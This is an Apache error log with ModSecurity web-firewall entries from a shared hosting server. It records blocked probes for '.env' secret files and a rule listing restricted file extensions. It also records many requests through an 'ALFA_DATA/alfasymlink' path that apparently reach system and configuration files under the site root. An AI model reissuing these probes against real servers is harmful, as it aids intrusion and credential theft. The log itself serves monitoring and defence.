[Mon Oct 26 02:13:28.289564 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at7viJMnyYq70WIUET3sAAAAABc"]
[Mon Oct 26 02:13:28.302915 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at7viJMnyYq70WIUET3sAAAAABc"]
[Mon Oct 26 02:13:28.303258 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at7viJMnyYq70WIUET3sAAAAABc"]
[Mon Oct 26 02:13:28.302555 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAQAAAA4"]
[Mon Oct 26 02:13:28.303761 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAQAAAA4"]
[Mon Oct 26 02:13:28.304010 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAQAAAA4"]
[Mon Oct 26 02:13:28.554370 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAgAAAA4"]
[Mon Oct 26 02:13:28.554609 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAgAAAA4"]
[Mon Oct 26 02:13:28.554902 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at7viMsSJ_JPXSgPpTUCAgAAAA4"]
[Mon Oct 26 02:13:28.562314 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at7viJMnyYq70WIUET3sAQAAABc"]
[Mon Oct 26 02:13:28.579249 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at7viJMnyYq70WIUET3sAQAAABc"]
[Mon Oct 26 02:13:28.579551 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at7viJMnyYq70WIUET3sAQAAABc"]
[Mon Oct 26 02:13:43.737872 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 3.90.73.206:8477] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:46.430331 2026] [ssl:error] [pid 2980211:tid 2980211] (70014)End of file found: [client 52.45.77.169:16667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:54.224272 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 100.25.120.246:31301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:57.370619 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 85.208.96.199:40148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/align
[Mon Oct 26 02:14:10.274095 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 34.194.95.99:10988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:14.085305 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 18.208.11.93:1620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:15.382409 2026] [authz_core:error] [pid 2978298:tid 2978298] [client 77.67.26.121:12294] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:14:16.173053 2026] [authz_core:error] [pid 2980895:tid 2980895] [client 77.67.26.43:7840] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:14:22.168794 2026] [security2:error] [pid 2978303:tid 2978303] [client 52.21.62.139:52892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/"] [unique_id "at7vvpMnyYq70WIUET3sBAAAABc"]
[Mon Oct 26 02:14:22.168854 2026] [security2:error] [pid 2978303:tid 2978303] [client 52.21.62.139:52892] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/"] [unique_id "at7vvpMnyYq70WIUET3sBAAAABc"]
[Mon Oct 26 02:14:25.929743 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 54.225.181.161:11836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:30.089122 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 54.235.191.179:16225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:33.805644 2026] [ssl:error] [pid 2980895:tid 2980895] (70014)End of file found: [client 52.73.142.41:42852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:37.758704 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.71.203.206:58893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:37.912281 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 85.208.96.208:10490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/destroy_by_rcu
[Mon Oct 26 02:14:40.474575 2026] [security2:error] [pid 2978287:tid 2978287] [client 85.208.96.212:45994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/october/php53/edit.php"] [unique_id "at7v0LPsc9vz4iO-ovpskAAAAAU"]
[Mon Oct 26 02:14:40.474622 2026] [security2:error] [pid 2978287:tid 2978287] [client 85.208.96.212:45994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/october/php53/edit.php"] [unique_id "at7v0LPsc9vz4iO-ovpskAAAAAU"]
[Mon Oct 26 02:14:41.856241 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 3.210.29.96:55333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:46.030881 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 85.208.96.198:11412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:14:49.969574 2026] [core:error] [pid 2978287:tid 2978287] (13)Permission denied: [client 52.2.4.213:42706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/module/ip_tables/holders/iptable_mangle/uevent
[Mon Oct 26 02:15:11.569856 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 3.93.211.16:5709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:13.846336 2026] [core:error] [pid 2974947:tid 2974947] (13)Permission denied: [client 52.0.41.164:29283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/remove
[Mon Oct 26 02:15:21.647665 2026] [ssl:error] [pid 2980211:tid 2980211] (70014)End of file found: [client 52.54.15.103:14622] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:29.619564 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 52.6.5.24:36113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:33.628173 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 3.229.2.217:21573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:37.653664 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 34.195.248.30:55599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:41.762196 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 52.200.58.199:2180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:53.616690 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 54.210.152.179:50100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:15:57.984121 2026] [core:error] [pid 2982099:tid 2982099] (13)Permission denied: [client 107.20.25.33:65424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/uevent
[Mon Oct 26 02:15:57.984701 2026] [security2:error] [pid 2982099:tid 2982099] [client 107.20.25.33:65424] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/uevent"] [unique_id "at7wHXx8HbJ4ZbBsX0oLnQAAAAo"]
[Mon Oct 26 02:15:57.984728 2026] [security2:error] [pid 2982099:tid 2982099] [client 107.20.25.33:65424] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/uevent"] [unique_id "at7wHXx8HbJ4ZbBsX0oLnQAAAAo"]
[Mon Oct 26 02:16:05.759817 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 3.216.86.144:56463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:09.599574 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 98.82.38.120:31628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:12.980022 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7wHc9if2Wl_DKO7Xa_ngAAADM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:16:13.049989 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7wHc9if2Wl_DKO7Xa_ngAAADM"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:16:25.717586 2026] [ssl:error] [pid 2982123:tid 2982123] (5)Input/output error: [client 23.21.179.120:36855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:37.713471 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.208.223.68:27703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:41.677201 2026] [ssl:error] [pid 2982123:tid 2982123] (70014)End of file found: [client 98.84.200.43:18118] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:45.854473 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 18.205.91.101:44482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:16:58.193361 2026] [ssl:error] [pid 2982099:tid 2982099] (70014)End of file found: [client 52.5.232.250:57110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:01.911578 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.223.232.55:39462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:10.725484 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.202.88.37:9379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:14.023873 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.233.219.155:13792] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:22.106731 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 44.213.36.21:32619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:37.932629 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.71.218.25:10616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:41.890090 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 54.156.124.2:64188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:41.890306 2026] [security2:error] [pid 2982258:tid 2982258] [client 54.156.124.2:64188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/cpumap"] [unique_id "at7whT4NyIA_F0mqARUesAAAABI"]
[Mon Oct 26 02:17:41.890334 2026] [security2:error] [pid 2982258:tid 2982258] [client 54.156.124.2:64188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory11/node0/cpumap"] [unique_id "at7whT4NyIA_F0mqARUesAAAABI"]
[Mon Oct 26 02:17:53.910989 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.202.88.37:1522] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:17:54.246268 2026] [authz_core:error] [pid 2982258:tid 2982258] [client 47.254.85.182:55039] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:18:20.789114 2026] [core:error] [pid 2982123:tid 2982123] (13)Permission denied: [client 85.208.96.208:57282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/hulk-unban-ip
[Mon Oct 26 02:18:26.105145 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 3.231.193.38:62349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:18:34.010966 2026] [core:error] [pid 2982383:tid 2982383] (13)Permission denied: [client 44.214.19.8:62731] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/module/drivers/pci:ata_generic/unbind
[Mon Oct 26 02:18:35.133106 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7wrvLdnYlTYsUh9u6q3wAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:18:35.133201 2026] [security2:error] [pid 2968016:tid 2968016] [client 107.172.76.131:51551] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7wrvLdnYlTYsUh9u6q3wAAABk"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:18:42.464025 2026] [security2:error] [pid 2982099:tid 2982099] [client 85.208.96.195:15284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/cp864.py"] [unique_id "at7wwnx8HbJ4ZbBsX0oLpwAAAAo"]
[Mon Oct 26 02:18:42.464077 2026] [security2:error] [pid 2982099:tid 2982099] [client 85.208.96.195:15284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/cp864.py"] [unique_id "at7wwnx8HbJ4ZbBsX0oLpwAAAAo"]
[Mon Oct 26 02:18:45.978747 2026] [ssl:error] [pid 2981941:tid 2981941] (70014)End of file found: [client 44.207.69.106:26100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:18:50.239449 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 54.204.62.163:13226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:02.039873 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 18.206.47.187:55297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:06.101553 2026] [ssl:error] [pid 2982378:tid 2982378] (70014)End of file found: [client 18.215.77.19:8466] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:13.934291 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 44.195.145.102:26075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:14.193130 2026] [security2:error] [pid 2981794:tid 2981794] [client 185.191.171.14:33428] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libaudit.conf"] [unique_id "at7w4nL_JyX_55GWl6UpSQAAAAQ"]
[Mon Oct 26 02:19:14.193549 2026] [security2:error] [pid 2981794:tid 2981794] [client 185.191.171.14:33428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libaudit.conf"] [unique_id "at7w4nL_JyX_55GWl6UpSQAAAAQ"]
[Mon Oct 26 02:19:14.193854 2026] [security2:error] [pid 2981794:tid 2981794] [client 185.191.171.14:33428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libaudit.conf"] [unique_id "at7w4nL_JyX_55GWl6UpSQAAAAQ"]
[Mon Oct 26 02:19:17.932285 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 44.194.139.149:16454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:21.925107 2026] [ssl:error] [pid 2982099:tid 2982099] (70014)End of file found: [client 3.214.176.44:40176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:28.003790 2026] [authz_core:error] [pid 2982383:tid 2982383] [client 152.203.71.41:33734] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://each.co.in/redirect.php?ref_host=my360ibiza.com
[Mon Oct 26 02:19:34.067565 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 44.209.35.147:54641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:42.010298 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 3.211.181.86:33674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:54.176932 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 52.202.233.37:48541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:19:58.182520 2026] [ssl:error] [pid 2982121:tid 2982121] (70014)End of file found: [client 18.215.24.66:27546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:02.249640 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.4.238.8:12731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:06.099807 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 54.204.12.115:21258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:18.229654 2026] [core:error] [pid 2981941:tid 2981941] (13)Permission denied: [client 3.208.156.9:63626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/remove
